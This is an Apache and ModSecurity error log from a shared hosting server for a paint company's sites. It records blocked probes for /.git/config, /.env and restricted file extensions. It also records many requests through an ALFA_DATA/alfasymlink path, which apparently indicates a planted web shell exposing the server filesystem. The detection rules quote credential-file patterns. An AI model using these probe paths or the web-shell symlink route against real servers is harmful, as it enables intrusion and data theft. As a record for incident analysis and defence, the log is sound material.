[Tue Oct 27 11:18:36.111127 2026] [security2:error] [pid 3252638:tid 3252638] [client 16.216.88.102:61440] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "auDAzApeqqGhHNggL2EYbQAAABc"]
[Tue Oct 27 11:18:36.111617 2026] [security2:error] [pid 3252638:tid 3252638] [client 16.216.88.102:61440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "auDAzApeqqGhHNggL2EYbQAAABc"]
[Tue Oct 27 11:18:36.111935 2026] [security2:error] [pid 3252638:tid 3252638] [client 16.216.88.102:61440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "auDAzApeqqGhHNggL2EYbQAAABc"]
[Tue Oct 27 11:18:39.847456 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 54.84.161.62:29234] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:18:49.110249 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 3.94.199.128:6516] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:18:50.807392 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 185.191.171.16:62988] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:18:51.754082 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 18.213.102.186:17104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:00.199401 2026] [ssl:error] [pid 3252638:tid 3252638] (5)Input/output error: [client 100.29.63.24:35165] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:04.212073 2026] [ssl:error] [pid 3245698:tid 3245698] (5)Input/output error: [client 23.21.250.48:4306] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:06.702363 2026] [security2:error] [pid 3254499:tid 3254499] [client 107.172.76.131:60391] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDA3yxz6La60BzSnpIsJQAAAAM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:19:06.702435 2026] [security2:error] [pid 3254499:tid 3254499] [client 107.172.76.131:60391] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDA3yxz6La60BzSnpIsJQAAAAM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:19:11.710157 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 18.232.12.157:44112] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:15.960222 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.45.194.165:62153] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:19.905875 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 3.220.148.166:54451] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:23.946754 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 35.172.125.172:54280] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:31.827526 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 34.205.163.103:50063] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:35.730037 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 52.201.155.215:6442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:39.694491 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 3.232.39.98:24537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:47.981870 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 18.205.127.11:50001] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:52.121593 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 54.209.100.30:41445] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:55.845489 2026] [security2:error] [pid 3252638:tid 3252638] [client 187.131.38.62:55203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auDBGwpeqqGhHNggL2EYdgAAABc"], referer: https://sherwinpinturas.com/contacto/bajas.php?email=aocana@mbmanganesos.com&base=/*406_emailv*/isidra.k.luna.ji/aocana@mbmanganesos.com
[Tue Oct 27 11:19:55.845527 2026] [security2:error] [pid 3252638:tid 3252638] [client 187.131.38.62:55203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auDBGwpeqqGhHNggL2EYdgAAABc"], referer: https://sherwinpinturas.com/contacto/bajas.php?email=aocana@mbmanganesos.com&base=/*406_emailv*/isidra.k.luna.ji/aocana@mbmanganesos.com
[Tue Oct 27 11:19:57.468448 2026] [ssl:error] [pid 3253959:tid 3253959] (5)Input/output error: [client 54.197.178.107:53422] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:19:59.625994 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 54.84.93.8:46936] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:20:02.104599 2026] [core:crit] [pid 3252638:tid 3252638] (13)Permission denied: [client 95.214.53.196:50066] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 11:20:02.351888 2026] [core:crit] [pid 3256317:tid 3256317] (13)Permission denied: [client 95.214.53.196:47430] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 11:20:07.731224 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 3.81.253.213:40803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:20:10.139933 2026] [security2:error] [pid 3240911:tid 3240911] [client 107.172.76.131:60387] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDBHgY08XOpcUzVxFxUdgAAABM"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:20:10.140014 2026] [security2:error] [pid 3240911:tid 3240911] [client 107.172.76.131:60387] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDBHgY08XOpcUzVxFxUdgAAABM"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:20:16.028878 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 34.205.163.103:56812] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:20:23.685167 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 54.84.250.51:32925] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:20:31.789689 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 35.171.117.160:28705] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:20:35.878910 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 52.5.242.243:17240] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:20:48.486734 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 34.230.124.21:1304] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:20:55.804708 2026] [ssl:error] [pid 3254483:tid 3254483] (5)Input/output error: [client 34.225.24.180:17192] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:03.657459 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 34.196.114.170:53362] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:15.903207 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 18.214.238.178:49900] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:19.901825 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 100.29.160.53:12521] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:23.892790 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 54.159.18.27:49026] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:28.004520 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 52.3.102.51:63083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:06/physical_node/virtio2/driver/module/uevent
[Tue Oct 27 11:21:28.808484 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 85.208.96.198:38670] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:36.113658 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 52.7.13.143:26726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:43.886421 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 52.205.141.124:15596] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:21:52.876098 2026] [core:error] [pid 3249204:tid 3249204] (13)Permission denied: [client 34.234.197.175:16729] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS2/device/subsystem/drivers/tpm_tis/unbind
[Tue Oct 27 11:21:56.347569 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 54.147.80.137:60615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:03.742332 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 3.94.199.128:32952] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:07.938909 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 100.29.107.38:61113] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:19.802181 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 34.236.185.101:10147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:27.871524 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 54.92.171.106:26803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:29.910028 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 185.191.171.1:28572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:31.929808 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 100.29.63.24:44170] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:43.850032 2026] [ssl:error] [pid 3253913:tid 3253913] (70014)End of file found: [client 3.218.103.254:46599] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:22:48.734477 2026] [core:error] [pid 3245437:tid 3245437] (13)Permission denied: [client 85.208.96.202:48720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/partial
[Tue Oct 27 11:23:00.210469 2026] [core:error] [pid 3252021:tid 3252021] (13)Permission denied: [client 34.194.226.74:47498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/physical_node/subsystem/rescan
[Tue Oct 27 11:23:03.892040 2026] [ssl:error] [pid 3249204:tid 3249204] (70014)End of file found: [client 54.83.180.239:30798] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:05.630300 2026] [security2:error] [pid 3245441:tid 3245441] [client 144.172.105.154:37806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "mail.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auDB2eDGYG7bZ6qVgjrpKwAAABA"]
[Tue Oct 27 11:23:05.630562 2026] [security2:error] [pid 3245441:tid 3245441] [client 144.172.105.154:37806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auDB2eDGYG7bZ6qVgjrpKwAAABA"]
[Tue Oct 27 11:23:05.630860 2026] [security2:error] [pid 3245441:tid 3245441] [client 144.172.105.154:37806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "mail.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auDB2eDGYG7bZ6qVgjrpKwAAABA"]
[Tue Oct 27 11:23:07.910324 2026] [ssl:error] [pid 3256317:tid 3256317] (70014)End of file found: [client 52.2.58.41:42032] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:16.114310 2026] [ssl:error] [pid 3256317:tid 3256317] (70014)End of file found: [client 3.211.181.86:45006] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:23.747785 2026] [ssl:error] [pid 3238315:tid 3238315] (5)Input/output error: [client 52.7.13.143:53925] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:35.734325 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 3.216.227.216:6004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:39.848882 2026] [ssl:error] [pid 3253959:tid 3253959] (70014)End of file found: [client 52.207.47.227:38702] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:39.849123 2026] [security2:error] [pid 3253959:tid 3253959] [client 52.207.47.227:38702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:11/subsystem/devices/PNP0A03:00/device:04/wakeup/wakeup4/total_time_ms"] [unique_id "auDB-5nKW0r1QiUnfmkTpgAAAAA"]
[Tue Oct 27 11:23:39.849167 2026] [security2:error] [pid 3253959:tid 3253959] [client 52.207.47.227:38702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:11/subsystem/devices/PNP0A03:00/device:04/wakeup/wakeup4/total_time_ms"] [unique_id "auDB-5nKW0r1QiUnfmkTpgAAAAA"]
[Tue Oct 27 11:23:48.024223 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 100.29.63.24:41487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:52.043635 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 18.232.36.1:54552] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:55.784028 2026] [ssl:error] [pid 3254483:tid 3254483] (70014)End of file found: [client 18.214.186.220:12840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:23:58.918073 2026] [authz_core:error] [pid 3245698:tid 3245698] [client 104.152.52.102:57713] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 11:24:09.215905 2026] [core:error] [pid 3256490:tid 3256490] (13)Permission denied: [client 185.191.171.12:14400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sysconfig/ebtables-config
[Tue Oct 27 11:24:11.764848 2026] [ssl:error] [pid 3256317:tid 3256317] (70014)End of file found: [client 34.225.243.131:12345] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:15.717251 2026] [ssl:error] [pid 3253972:tid 3253972] (5)Input/output error: [client 3.221.222.168:5896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:19.771939 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 54.204.12.115:30995] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:23.794165 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 23.23.99.55:10546] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:23.794354 2026] [security2:error] [pid 3249203:tid 3249203] [client 23.23.99.55:10546] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:03/power/control"] [unique_id "auDCJ5-xvDszZCVXAa4VeAAAAA8"]
[Tue Oct 27 11:24:23.794398 2026] [security2:error] [pid 3249203:tid 3249203] [client 23.23.99.55:10546] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:03/power/control"] [unique_id "auDCJ5-xvDszZCVXAa4VeAAAAA8"]
[Tue Oct 27 11:24:31.733352 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 52.3.104.214:12803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:39.823340 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 3.222.190.107:47365] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:43.907303 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 52.71.46.142:33153] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/driver/cpu0/crash_notes
[Tue Oct 27 11:24:48.164432 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 98.83.94.113:30890] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:53.269733 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 44.221.105.234:40590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:55.944988 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 18.214.124.6:59669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:24:59.819893 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 44.223.232.55:8630] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:25:07.786291 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 18.214.124.6:5329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:25:11.971629 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 3.215.59.93:64984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/memory10/subsystem/drivers_probe
[Tue Oct 27 11:25:24.082963 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 54.156.248.117:39618] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:25:27.777436 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 52.5.232.250:11873] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:25:40.057300 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 54.80.185.200:27931] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:25:44.142726 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 3.221.222.168:6306] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:25:48.107139 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 35.169.119.108:13371] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:25:48.107341 2026] [security2:error] [pid 3238315:tid 3238315] [client 35.169.119.108:13371] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory16/node0/memory9/valid_zones"] [unique_id "auDCfHRXwUv1lMzx7uqw2QAAAA0"]
[Tue Oct 27 11:25:48.107375 2026] [security2:error] [pid 3238315:tid 3238315] [client 35.169.119.108:13371] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory16/node0/memory9/valid_zones"] [unique_id "auDCfHRXwUv1lMzx7uqw2QAAAA0"]
[Tue Oct 27 11:25:55.764989 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 3.90.73.206:26586] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:03.998918 2026] [core:error] [pid 3256490:tid 3256490] (13)Permission denied: [client 3.227.180.70:33135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/driver/cpu1/crash_notes_size
[Tue Oct 27 11:26:07.958499 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 52.2.4.213:39942] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:11.834530 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 3.226.34.98:3380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:15.786679 2026] [ssl:error] [pid 3252021:tid 3252021] (70014)End of file found: [client 52.45.77.169:24778] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:24.496099 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 52.45.29.57:38239] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:34.700834 2026] [security2:error] [pid 3250097:tid 3250097] [client 107.172.76.131:60394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDCnt-UH8rIZL85QFqI_gAAAAQ"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:26:34.700906 2026] [security2:error] [pid 3250097:tid 3250097] [client 107.172.76.131:60394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDCnt-UH8rIZL85QFqI_gAAAAQ"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:26:38.248293 2026] [ssl:error] [pid 3256490:tid 3256490] (70014)End of file found: [client 85.208.96.198:55904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:40.005688 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 34.236.185.101:60319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:47.763229 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 18.233.24.238:44227] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:26:51.357694 2026] [core:error] [pid 3253913:tid 3253913] (13)Permission denied: [client 185.191.171.16:55652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/cpu_partial
[Tue Oct 27 11:26:55.945787 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 54.86.59.155:16340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:07.854568 2026] [ssl:error] [pid 3256490:tid 3256490] (70014)End of file found: [client 3.213.46.222:61896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:11.821975 2026] [ssl:error] [pid 3253972:tid 3253972] (70014)End of file found: [client 18.235.81.246:14076] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:15.965515 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 54.210.152.179:43870] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:27:20.211893 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfQAAABI"]
